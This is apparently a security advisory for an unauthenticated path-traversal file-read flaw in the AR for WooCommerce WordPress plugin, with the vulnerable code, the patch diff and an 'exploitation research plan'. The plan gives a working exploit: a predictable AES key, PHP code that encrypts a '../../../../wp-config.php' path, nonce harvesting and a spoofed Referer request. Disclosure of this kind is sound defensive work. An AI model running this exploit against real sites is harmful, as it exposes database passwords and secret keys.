AR for WooCommerce <= 8.40 - Unauthenticated Path Traversal to Arbitrary File Read via 'file' Parameter
Description
The AR for WooCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 8.40 via the 'file' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. The three intended access controls all fail: valid nonces are freely minted by unauthenticated callers via the nopriv ar_get_fresh_nonce and ar_process_user_image AJAX handlers; the AES-256-CBC encryption key is derived from get_option('ar_licence_key'), which returns false on default free installations and yields a predictable key attackers can use to encrypt their own path payloads; and the Referer check is trivially bypassed because the Referer header is attacker-controlled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=8.40What Changed in the Fix
Changes introduced in v8.41
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-14352 (AR for WooCommerce) This plan outlines the steps required to verify and exploit the unauthenticated path traversal vulnerability in the "AR for WooCommerce" plugin. ## 1. Vulnerability Summary The **AR for WooCommerce** plugin (<= 8.40) contains a crit…
Show full research plan
Exploitation Research Plan: CVE-2026-14352 (AR for WooCommerce)
This plan outlines the steps required to verify and exploit the unauthenticated path traversal vulnerability in the "AR for WooCommerce" plugin.
1. Vulnerability Summary
The AR for WooCommerce plugin (<= 8.40) contains a critical path traversal vulnerability in its secure file serving mechanism. The script includes/ar-secure-download.php is designed to serve 3D model files (GLB, GLTF, USDZ) using an encrypted path to prevent direct downloads. However, it fails to properly sanitize the decrypted file path before passing it to file system operations. Furthermore, the encryption key defaults to a predictable value in free installations, and the nonce required for the request can be obtained by unauthenticated users.
2. Attack Vector Analysis
- Endpoint:
/wp-content/plugins/ar-for-woocommerce/includes/ar-secure-download.php - Vulnerable Parameter:
file(GET parameter) - Required Parameters:
_wpnonce(GET parameter) - Authentication: Unauthenticated (Nopriv)
- Encryption Requirement: The
fileparameter must be an AES-256-CBC encrypted string, base64 encoded, following the formatIV::EncryptedData. - Preconditions:
- The attacker must obtain a valid WordPress nonce for the action
ar_secure_nonce. - The attacker must spoof the
Refererheader to match the site's home URL.
- The attacker must obtain a valid WordPress nonce for the action
3. Code Flow
- Entry Point: A GET request is sent to
includes/ar-secure-download.php. - Bootstrap: The script manually requires
wp-load.php, loading the full WordPress environment. - Nonce Validation:
wp_verify_nonce($_GET['_wpnonce'], 'ar_secure_nonce')is called. - Decryption: The
fileparameter is passed toar_validate_and_serve_file(). This function retrieves the secret key viaget_option('ar_licence_key'). - Path Construction:
ar_decrypt_file_path()decrypts the payload.- The code constructs:
$full_file_path = wp_upload_dir()['basedir'] . '/' . $file_path;.
- Traversal: If the decrypted
$file_pathcontains../../../../, it escapes the uploads directory. - Sink:
realpath($full_file_path)is called, but it only validates existence/readability, not directory confinement. Finally,ar_wp_readfile($full_file_path)outputs the file content.
4. Nonce Acquisition Strategy
To exploit this as an unauthenticated user, we need a nonce for the ar_secure_nonce action.
- Shortcode Identification: The
readme.txtmentions the[ardisplay]shortcode. This shortcode, when rendered for a product with a 3D model, triggersar_get_secure_model_url()which creates the nonce. - Triggering Nonce Generation:
- Use WP-CLI to create a public page containing the shortcode:
wp post create --post_type=page --post_status=publish --post_title="AR Test" --post_content='[ardisplay id="1"]'
- Use WP-CLI to create a public page containing the shortcode:
- Extraction:
- Navigate to the new page using
browser_navigate. - The plugin likely enqueues scripts using
wp_localize_script. Based on the description, we should check for localized variables. - Use
browser_evalto find the nonce:browser_eval("window.ar_display_params?.secure_nonce || window.ar_settings?.nonce")(inferred variable names based on common plugin patterns).
- Navigate to the new page using
- Alternative (AJAX Leak): The description notes that
wp_ajax_nopriv_ar_get_fresh_nonceexists. Although the source shows it generatingar_process_user_image, we should check if it also exposes other nonces or ifar_secure_nonceis reused.
5. Exploitation Strategy
Step 1: Prepare the Encryption Key
If no license key is set, get_option('ar_licence_key') returns false.
In PHP, hash('sha256', false, true) is equivalent to hash('sha256', '', true).
The derived key is: substr(hash('sha256', '', true), 0, 32).
Step 2: Generate the Payload
We want to read /etc/passwd or wp-config.php.
Decrypted path: ../../../../wp-config.php (relative to the uploads directory).
Encryption Logic (Pseudo-code):
$payload = "../../../../wp-config.php";
$key = substr(hash('sha256', '', true), 0, 32); // Default if no license
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($payload, 'AES-256-CBC', $key, 0, $iv);
$file_param = base64_encode($iv . '::' . $encrypted);
Step 3: Execute the Request
Using the http_request tool:
- URL:
http://target.local/wp-content/plugins/ar-for-woocommerce/includes/ar-secure-download.php?file=[ENCRYPTED_PAYLOAD]&_wpnonce=[OBTAINED_NONCE] - Method:
GET - Headers:
Referer: http://target.local/(Required to bypass the check inar_validate_and_serve_file)
6. Test Data Setup
- Enable Plugin: Ensure
ar-for-woocommerceis active. - Create Page:
wp post create --post_type=page --post_status=publish --post_content='[ardisplay]' - Verify Settings: Ensure no license key is set (to use the predictable encryption key).
wp option delete ar_licence_key
7. Expected Results
- The server should respond with
HTTP 200 OK. - The
Content-Typewill be determined byar_get_mime_type. - The response body should contain the plaintext content of
wp-config.php(includingDB_PASSWORDand salts).
8. Verification Steps
- Verify Response: Check if the response body contains the string
define( 'DB_NAME'. - FileSystem Confirmation: Compare the output with the actual file content via CLI:
cat /var/www/html/wp-config.php
9. Alternative Approaches
- Predictable License Key: If a license key is set, check if it's stored in
wp-content/uploads/ar-for-woocommerce/or if it's a static value provided by the "onboarding assistant". - Absolute Paths: Check if the decryption allows for absolute paths (e.g.,
/etc/passwd) if theuploads_dirprefix is bypassed or ifrealpathhandles it differently on specific OS configurations. - Different Actions: If
ar_secure_nonceis hard to find, check ifwp_ajax_nopriv_ar_process_user_imageallows image processing from a remote URL, which could lead to SSRF.
Summary
The AR for WooCommerce plugin for WordPress is vulnerable to unauthenticated arbitrary file read via path traversal in its secure model download endpoint. This vulnerability stems from the plugin failing to validate that a decrypted file path remains within the uploads directory, combined with the use of a predictable default encryption key and easily obtainable nonces.
Vulnerable Code
// includes/ar-secure-download.php lines 21-37 if (!function_exists('ar_decrypt_file_path')){ // Function to decrypt the file path function ar_decrypt_file_path($encrypted_data, $key) { // Ensure key length is 32 bytes (256 bits) $key = substr(hash('sha256', $key, true), 0, 32); // Decode the encrypted data $data = base64_decode($encrypted_data); $parts = explode('::', $data, 2); if (count($parts) < 2) { return false; // Invalid data format } $iv = $parts[0]; $encrypted = $parts[1]; // Decrypt the file path return openssl_decrypt($encrypted, 'AES-256-CBC', $key, 0, $iv); } } --- // includes/ar-secure-download.php lines 41-53 if (!function_exists('ar_validate_and_serve_file')){ function ar_validate_and_serve_file($encrypted_file_path) { // Define the secret key for encryption/decryption $secret_key = get_option('ar_licence_key'); // Change this to a secure key // Decrypt the file path $file_path = ar_decrypt_file_path($encrypted_file_path, $secret_key); // Get the uploads directory path dynamically $uploads_dir = wp_upload_dir(); // Get the upload directory information $allowed_directory = $uploads_dir['basedir']; // Base directory for uploads $full_file_path = $allowed_directory . '/' . $file_path;
Security Fix
@@ -17,6 +17,19 @@ } /************* Function to decrypt the file path *******************/ +if (!function_exists('ar_get_secure_download_secret')){ + function ar_get_secure_download_secret() { + $secret = get_option('ar_secure_download_secret'); + + if (!is_string($secret) || strlen($secret) < 32) { + $secret = wp_generate_password(64, true, true); + update_option('ar_secure_download_secret', $secret, false); + } + + return $secret; + } +} + if (!function_exists('ar_decrypt_file_path')){ // Function to decrypt the file path function ar_decrypt_file_path($encrypted_data, $key) { @@ -24,7 +37,11 @@ $key = substr(hash('sha256', $key, true), 0, 32); // Decode the encrypted data - $data = base64_decode($encrypted_data); + $data = base64_decode($encrypted_data, true); + if ($data === false) { + return false; + } + $parts = explode('::', $data, 2); if (count($parts) < 2) { @@ -33,41 +50,72 @@ $iv = $parts[0]; $encrypted = $parts[1]; + + if (strlen($iv) !== openssl_cipher_iv_length('AES-256-CBC')) { + return false; + } // Decrypt the file path return openssl_decrypt($encrypted, 'AES-256-CBC', $key, 0, $iv); } } +/************* Function to validate a decrypted uploads path *******************/ +if (!function_exists('ar_validate_secure_download_path')){ + function ar_validate_secure_download_path($file_path, $allowed_directory) { + if (!is_string($file_path) || $file_path === '' || strpos($file_path, "\0") !== false) { + return false; + } + + $file_path = str_replace('\\', '/', $file_path); + + if (preg_match('#(^/|^[A-Za-z]:|://)#', $file_path) || preg_match('#(^|/)\.\.(/|$)#', $file_path)) { + return false; + } + + $valid_extensions = array('gltf', 'glb', 'usdz'); + $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); + if (!in_array($ext, $valid_extensions, true)) { + return false; + } + + $allowed_directory = realpath($allowed_directory); + if (!$allowed_directory) { + return false; + } + + $full_file_path = realpath($allowed_directory . '/' . ltrim($file_path, '/')); + if (!$full_file_path || !is_readable($full_file_path)) { + return false; + } + + $allowed_directory = rtrim(wp_normalize_path($allowed_directory), '/') . '/'; + $full_file_path_normalized = wp_normalize_path($full_file_path); + + if (strpos($full_file_path_normalized, $allowed_directory) !== 0) { + return false; + } + + return $full_file_path; + } +} /************* Function to validate and serve the request *******************/ if (!function_exists('ar_validate_and_serve_file')){ function ar_validate_and_serve_file($encrypted_file_path) { // Define the secret key for encryption/decryption - $secret_key = get_option('ar_licence_key'); // Change this to a secure key + $secret_key = ar_get_secure_download_secret(); // Decrypt the file path $file_path = ar_decrypt_file_path($encrypted_file_path, $secret_key); + if ($file_path === false) { + wp_die('Invalid file request.'); + } // Get the uploads directory path dynamically $uploads_dir = wp_upload_dir(); // Get the upload directory information $allowed_directory = $uploads_dir['basedir']; // Base directory for uploads - $full_file_path = $allowed_directory . '/' . $file_path; - - // Referrer Check: Ensure the request is coming from a valid source - $referer = isset($_SERVER['HTTP_REFERER']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_REFERER'])) : ''; - $valid_referer = home_url(); // You can set this to your site's URL or specific referrers - - if (strpos($referer, $valid_referer) !== 0) { - wp_die('Unauthorized access'); - } - if (file_exists($full_file_path)) { - // Sanitize the file path to ensure it's safe. - $full_file_path = realpath($full_file_path); - - // Check if the file exists and is readable before proceeding - if (!$full_file_path || !is_readable($full_file_path)) { - wp_die('File not found or inaccessible.'); - } + $full_file_path = ar_validate_secure_download_path($file_path, $allowed_directory); + if ($full_file_path) { // Prevent caching header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); @@ -92,7 +140,7 @@ } } // Verify the nonce before processing -if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'ar_secure_nonce' ) ) { +if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'ar_secure_download_nonce' ) ) { // If the nonce is invalid, stop the process wp_die( __( 'Security check failed.', 'ar-for-woocommerce' ) ); }
Exploit Outline
The exploit targets the `/wp-content/plugins/ar-for-woocommerce/includes/ar-secure-download.php` endpoint. An attacker first acquires a valid nonce for the 'ar_secure_nonce' action, which can be found by navigating to a public page containing the `[ardisplay]` shortcode. On installations without a license key, the encryption key is predictable (the SHA256 hash of an empty string). The attacker encrypts a path traversal string (e.g., '../../../../wp-config.php') using AES-256-CBC with this key and encodes it in the format 'IV::EncryptedData'. Finally, the attacker sends a GET request to the vulnerable endpoint with the encrypted payload and nonce while spoofing the Referer header to match the site's home URL.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.